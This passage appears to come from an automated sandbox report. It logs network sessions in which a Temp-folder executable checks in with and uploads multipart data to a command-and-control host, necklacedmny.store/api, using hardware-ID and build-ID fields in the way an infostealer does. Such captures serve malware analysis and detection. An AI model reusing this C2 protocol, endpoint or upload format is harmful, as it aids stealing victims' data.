2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 2b 44 79 5a 52 41 73 72 4d 59 76 62 31 45 70 4a 63 77 42 57 59 4a 56 68 68 76 34 4e 35 59 67 45 6f 67 64 55 57 31 38 72 37 59 78 34 48 47 6c 77 72 31 2b 42 4f 75 2b 52 44 74 76 52 45 78 49 53 31 74 58 48 79 6b 77 52 75 45 53 57 38 69 44 66 6d 2f 38 74 66 51 78 35 66 62 4a 65 76 34 45 61 4f 39 41 36 71 68 56 7a 63 6f 61 44 51 59 66 4b 66 42 48 6f 4a 4b 59 53 73 4e 76 50 6d 32 30 63 36 42 7a 4a 51 45 2b 66 49 51 6f 66 45 53 37 72 6b 57 50 43 38 6e 5a 31 30 77 34 49 63 66 6e 77 59 34 62 54 53 36 35 36 58 41 78 4d 66 51 31 52 6d 38 39 42 50 6c 70 56 7a 6c 71 68 30 36 4b 69 31 6a 58 58 4f 68 77 42 57 42 53 6d 6f 6b 44 62 2f 2b 75 38 4c 4c 69 38 47 63 44 76 44 39 45 71 2f 2b 45 61 54 32 56 7a 63 38 61 44 51 59 58 4b 6e 4b 4e 6f 78 4b 5a 32 30 61 39 2b 6a 79 31 Data Ascii: +DyZRAsrMYvb1EpJcwBWYJVhhv4N5YgEogdUW18r7Yx4HGlwr1+BOu+RDtvRExIS1tXHykwRuESW8iDfm/8tfQx5fbJev4EaO9A6qhVzcoaDQYfKfBHoJKYSsNvPm20c6BzJQE+fIQofES7rkWPC8nZ10w4IcfnwY4bTS656XAxMfQ1Rm89BPlpVzlqh06Ki1jXXOhwBWBSmokDb/+u8LLi8GcDvD9Eq/+EaT2Vzc8aDQYXKnKNoxKZ20a9+jy1
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 62 57 4c 7a 46 47 4c 58 74 48 36 61 4a 41 54 4d 79 49 32 46 55 4d 4c 47 4a 41 63 64 42 62 47 31 64 2b 66 65 39 32 63 75 49 7a 70 49 4d 38 66 59 57 6f 50 77 61 34 4c 49 64 4d 43 49 75 62 56 31 36 72 63 59 53 6a 6b 46 6f 4b 67 61 72 73 66 79 51 7a 35 2b 50 77 30 44 56 39 41 32 72 37 56 7a 37 39 67 35 77 49 79 51 73 41 44 43 71 7a 52 65 44 51 57 77 72 41 4c 2f 38 73 39 2f 4a 68 38 43 66 43 2f 58 31 48 71 6a 34 45 65 43 71 48 54 73 72 4a 47 56 55 66 65 36 4a 57 49 42 65 49 48 56 46 69 50 79 38 33 73 2b 52 6a 34 52 4f 35 62 4d 59 71 62 31 45 70 4c 6b 62 50 79 63 6e 62 31 74 78 70 4e 55 4b 69 30 39 6f 4b 41 6d 79 2f 37 54 43 7a 6f 6a 47 6d 41 50 31 39 42 65 70 39 78 2f 6a 2b 46 6c 77 49 7a 41 73 41 44 43 4e 30 41 69 4b 42 6e 39 6a 48 50 6e 32 76 70 43 51 78 38 Data Ascii: bWLzFGLXtH6aJATMyI2FUMLGJAcdBbG1d+fe92cuIzpIM8fYWoPwa4LIdMCIubV16rcYSjkFoKgarsfyQz5+Pw0DV9A2r7Vz79g5wIyQsADCqzReDQWwrAL/8s9/Jh8CfC/X1Hqj4EeCqHTsrJGVUfe6JWIBeIHVFiPy83s+Rj4RO5bMYqb1EpLkbPycnb1txpNUKi09oKAmy/7TCzojGmAP19Bep9x/j+FlwIzAsADCN0AiKBn9jHPn2vpCQx8
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 2f 42 43 73 39 42 6a 73 75 78 63 30 49 43 39 70 57 33 79 6c 77 42 75 49 51 6d 6b 6a 44 4c 61 78 2f 4a 44 50 6e 34 2f 44 51 4e 33 6f 48 4b 6e 77 58 50 76 32 44 6e 41 6a 4a 43 77 41 4d 4b 4c 4a 48 59 64 4d 5a 69 6b 41 76 2f 75 33 30 4d 4f 45 77 4a 38 47 2b 50 77 66 72 76 51 64 34 72 30 64 4f 79 49 6c 62 31 35 32 37 6f 6c 59 67 46 34 67 64 55 57 5a 36 72 2f 63 7a 38 66 51 31 52 6d 38 39 42 50 6c 70 56 7a 76 74 42 4d 33 4a 43 56 76 55 48 57 71 7a 52 32 48 54 6e 49 6c 42 62 37 6a 6f 4e 44 42 67 73 4f 59 41 50 6a 31 46 71 50 2b 47 4b 54 32 56 7a 63 38 61 44 51 59 58 61 4c 41 4d 59 42 64 49 44 4a 4c 6f 4c 47 31 33 49 6a 66 6a 35 6f 4c 39 76 77 53 70 76 73 66 37 37 30 64 4d 53 4d 67 59 55 70 7a 6f 63 67 63 68 30 6c 6d 4b 77 53 32 39 37 58 5a 79 59 2f 49 32 30 36 Data Ascii: /BCs9Bjsuxc0IC9pW3ylwBuIQmkjDLax/JDPn4/DQN3oHKnwXPv2DnAjJCwAMKLJHYdMZikAv/u30MOEwJ8G+PwfrvQd4r0dOyIlb1527olYgF4gdUWZ6r/cz8fQ1Rm89BPlpVzvtBM3JCVvUHWqzR2HTnIlBb7joNDBgsOYAPj1FqP+GKT2Vzc8aDQYXaLAMYBdIDJLoLG13Ijfj5oL9vwSpvsf770dMSMgYUpzocgch0lmKwS297XZyY/I206
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 2f 63 62 39 4c 38 41 50 32 52 6d 4c 46 63 77 39 76 35 59 6a 6b 46 37 50 42 4f 30 34 62 57 51 39 38 6d 50 67 30 43 6b 73 79 71 6d 38 78 4c 6a 72 67 5a 39 41 7a 35 6d 58 32 43 70 30 42 66 48 43 43 41 72 52 65 47 69 2f 4a 44 4d 6c 6f 2f 44 55 4b 36 6f 53 76 61 71 54 4c 61 6e 57 53 6c 6b 50 69 77 41 49 75 43 48 43 73 63 65 49 47 6f 47 71 2b 4f 30 30 39 36 45 69 4b 55 2b 32 2b 6b 53 6f 2b 6f 4e 32 6f 59 51 4b 69 6b 75 65 30 6b 38 75 38 51 57 69 55 46 32 62 55 76 35 2f 76 4b 49 38 63 65 48 32 7a 2b 79 73 77 66 6c 70 56 7a 52 75 78 6b 2b 49 7a 35 39 46 56 65 30 79 68 36 51 56 79 42 6a 52 62 2b 78 36 6f 43 47 78 38 75 4b 51 4b 53 6a 54 66 36 6f 54 37 50 6f 52 53 39 71 4d 53 78 4f 4d 50 61 56 56 73 64 55 49 48 56 46 2f 76 4b 67 77 73 36 45 32 5a 68 48 77 73 30 78 Data Ascii: /cb9L8AP2RmLFcw9v5YjkF7PBO04bWQ98mPg0Cksyqm8xLjrgZ9Az5mX2Cp0BfHCCArReGi/JDMlo/DUK6oSvaqTLanWSlkPiwAIuCHCsceIGoGq+O0096EiKU+2+kSo+oN2oYQKikue0k8u8QWiUF2bUv5/vKI8ceH2z+yswflpVzRuxk+Iz59FVe0yh6QVyBjRb+x6oCGx8uKQKSjTf6oT7PoRS9qMSxOMPaVVsdUIHVF/vKgws6E2ZhHws0x
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 65 32 47 54 63 79 4f 53 46 2f 66 71 6e 47 44 70 64 52 62 32 31 4c 2b 66 66 79 69 4a 72 4a 6a 35 38 52 76 4b 74 50 39 36 5a 4a 74 2b 39 48 59 6a 74 6d 64 52 68 6d 37 70 39 4b 79 51 5a 79 62 56 33 35 74 72 48 43 32 6f 48 4d 6a 51 4f 37 7a 53 47 43 38 78 76 6c 72 67 63 6e 4b 32 64 43 62 6c 47 51 2b 51 32 45 53 47 34 71 45 36 69 78 2f 4a 44 48 78 35 65 69 51 4c 53 7a 49 4f 75 39 42 4b 54 67 56 77 55 6e 4a 6d 4a 66 5a 72 2b 4b 50 34 6c 42 59 54 73 56 72 76 37 39 2f 76 36 6d 6a 39 56 41 2b 72 4e 48 39 37 4e 63 34 4b 6c 58 61 48 52 36 4e 77 30 6a 2b 5a 64 4b 6d 41 68 35 62 52 50 35 71 65 43 65 69 4a 57 50 77 30 43 37 38 41 32 33 2b 78 2f 79 75 31 41 4f 47 67 39 69 58 33 47 34 31 78 57 4c 5a 32 4d 38 44 34 66 50 70 39 50 47 69 63 69 4e 45 62 79 39 58 36 71 39 52 Data Ascii: e2GTcyOSF/fqnGDpdRb21L+ffyiJrJj58RvKtP96ZJt+9HYjtmdRhm7p9KyQZybV35trHC2oHMjQO7zSGC8xvlrgcnK2dCblGQ+Q2ESG4qE6ix/JDHx5eiQLSzIOu9BKTgVwUnJmJfZr+KP4lBYTsVrv79/v6mj9VA+rNH97Nc4KlXaHR6Nw0j+ZdKmAh5bRP5qeCeiJWPw0C78A23+x/yu1AOGg9iX3G41xWLZ2M8D4fPp9PGiciNEby9X6q9R
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 7a 4e 43 39 53 5a 6c 32 38 77 41 69 45 42 45 77 71 43 4c 58 50 6a 4f 66 5a 67 4e 2f 5a 4a 76 2f 6c 48 4f 57 7a 58 50 7a 34 54 33 41 4a 4f 6d 74 49 63 2b 7a 72 48 34 70 4b 49 44 4a 4c 6f 4c 47 6b 6b 4a 44 55 67 64 73 53 76 4b 74 66 34 76 34 4f 39 72 34 55 4a 69 64 76 55 6d 5a 64 76 4d 41 49 68 41 52 52 49 41 47 76 35 4c 48 41 7a 37 6e 78 74 68 4c 37 34 78 7a 6e 32 43 61 6d 69 51 45 7a 4a 43 5a 72 47 44 37 75 33 31 6a 66 42 6b 30 2f 41 71 6e 79 38 50 58 79 78 66 36 4e 41 2f 7a 39 47 4f 58 69 55 76 33 34 41 58 42 38 65 79 49 59 59 75 36 66 57 4d 42 49 62 53 77 47 74 2f 4b 67 77 73 36 45 32 5a 68 48 77 73 30 77 72 76 77 4d 36 61 6b 61 4e 44 49 57 55 6e 39 32 71 38 41 6d 75 58 46 78 4b 68 58 37 31 37 48 47 79 38 65 42 32 78 69 38 71 31 2b 43 2b 78 6e 6a 2b 46 Data Ascii: zNC9SZl28wAiEBEwqCLXPjOfZgN/ZJv/lHOWzXPz4T3AJOmtIc+zrH4pKIDJLoLGkkJDUgdsSvKtf4v4O9r4UJidvUmZdvMAIhARRIAGv5LHAz7nxthL74xzn2CamiQEzJCZrGD7u31jfBk0/Aqny8PXyxf6NA/z9GOXiUv34AXB8eyIYYu6fWMBIbSwGt/Kgws6E2ZhHws0wrvwM6akaNDIWUn92q8AmuXFxKhX717HGy8eB2xi8q1+C+xnj+F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50245	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 20:56:32 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AF8FB255995CFA55A49D3AFC541E0FFF
2024-10-30 20:56:34 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eorg2qpklpalp2p2dgk6fp82ts; expires=Sun, 23-Feb-2025 14:43:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sghbd%2FUTqfDUORRsVKzH7LSX5BYVp0DOzlCrYdZkT78VI1QYm9Ndp1Ip7ahOyFlPnTWwaVM%2FqFYRaH1b9QysngRFl7ujINZo%2FviOUNcOKfgI%2FgcOC4zJGs2yqcyjGxb068HcX3U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5002cfc66b3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1202&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2403319&cwnd=245&unsent_bytes=0&cid=6dac2cabc5d77d74&ts=1932&x=0"
2024-10-30 20:56:34 UTC	214	IN	Data Raw: 64 30 0d 0a 7a 76 42 42 47 37 2b 36 73 56 75 77 51 55 34 36 31 4f 56 66 4e 7a 62 2f 31 2b 30 5a 36 70 42 68 41 45 7a 71 4b 49 4a 6c 45 6f 47 56 69 32 4e 75 6e 59 43 54 4d 38 51 31 50 67 43 49 79 67 4d 59 42 38 66 69 77 79 76 62 70 55 38 78 66 64 6b 47 73 31 4e 4f 72 71 47 57 4a 30 65 51 33 74 51 39 6e 69 51 32 58 2f 62 4a 66 56 46 43 33 65 33 64 4e 63 6a 31 51 7a 70 38 6c 77 54 35 52 32 65 6a 39 4e 49 70 62 38 76 4b 69 77 65 66 48 57 45 4c 37 4e 42 78 42 51 66 4b 2b 64 77 6f 32 62 35 51 4e 68 44 46 52 65 73 4c 64 39 33 68 67 69 42 31 32 39 58 63 64 64 55 35 4b 78 6a 34 78 7a 6c 44 46 4d 58 6e 77 54 75 50 73 6c 73 77 4d 62 63 3d 0d 0a Data Ascii: d0zvBBG7+6sVuwQU461OVfNzb/1+0Z6pBhAEzqKIJlEoGVi2NunYCTM8Q1PgCIygMYB8fiwyvbpU8xfdkGs1NOrqGWJ0eQ3tQ9niQ2X/bJfVFC3e3dNcj1Qzp8lwT5R2ej9NIpb8vKiwefHWEL7NBxBQfK+dwo2b5QNhDFResLd93hgiB129XcddU5Kxj4xzlDFMXnwTuPslswMbc=
2024-10-30 20:56:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50246	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-30 20:56:33 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:34 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2j5hrtdfvd2as22bre7g2ue0g4; expires=Sun, 23-Feb-2025 14:43:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ykcv5N1Rb831NhMfVU0g4mXSJ5JAS5T1bVqB%2Bfg5Z%2FeNhfkxVtSUMINnRRwnJNBVOBBtsW2FNjtbyubKZPVV3%2B0Ke0MMZ4KhJ1t%2BQgEoy4ZNwTuQ8LbbiJtZ2v1DcDhFPmEPGLI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5007ce654790-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1894&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=1536339&cwnd=238&unsent_bytes=0&cid=01b5a2a98bc60bfe&ts=1299&x=0"
2024-10-30 20:56:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50249	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:35 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-30 20:56:35 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:36 UTC	1024	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=609jmhrlhh4c1k0a8glarb6s3j; expires=Sun, 23-Feb-2025 14:43:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yv1fua%2BDJldqsgrTIPuy1RcXdxAdbM8MWAmahSfrBnX69%2FK%2BRcXgc1103gTpWflaz%2F04QRsD8YNHglLKhJ6bz1saolRZl%2Fc5bBVBp%2FUzo7MUNbYpV%2FDojFohpSGrob9na0OZO8c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5016be3e2c99-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1844&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=1524210&cwnd=251&unsent_bytes=0&cid=d2148215bf6bee55&ts=543&x=0"
2024-10-30 20:56:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50253	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:37 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-30 20:56:37 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:37 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-30 20:56:38 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jg2op3vql7jblkf16d212lgsvk; expires=Sun, 23-Feb-2025 14:43:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c1txItk9XHDOxb%2FPqxcyEt%2FP7Z4BjTah5DyMrCTYNABu%2Ftvq0XMkKUsJgF3jocuL45EgwGTim6clEaCYM%2B%2FYsZnQxZCzJRxnpSSOyzP79und%2FnWuFExDb3ju4xYvl6zHPofazuA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5023ac6a4614-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=1461150&cwnd=32&unsent_bytes=0&cid=3229d9ecb4b07e7a&ts=1037&x=0"
2024-10-30 20:56:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50258	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1277 Host: necklacedmny.store
2024-10-30 20:56:39 UTC	1277	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:40 UTC	1010	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nehuf065ka5tgnnteki2ubch5u; expires=Sun, 23-Feb-2025 14:43:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mZvG0VPvarQGpbI2eZZ40vOcenJhIjkzufdh05ww1rSqTmKq%2FIuN3SHQsNyy17fYz6GI7AKSHS6g9zzOqdnb3SIsUbKPWXTXgygKGdvm9AkLYigxTlN3nglFwkB9L7vgDfSv3o0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae5031fc34e922-DFW alt-svc: h3=":443"; ma=86400 server-timing: 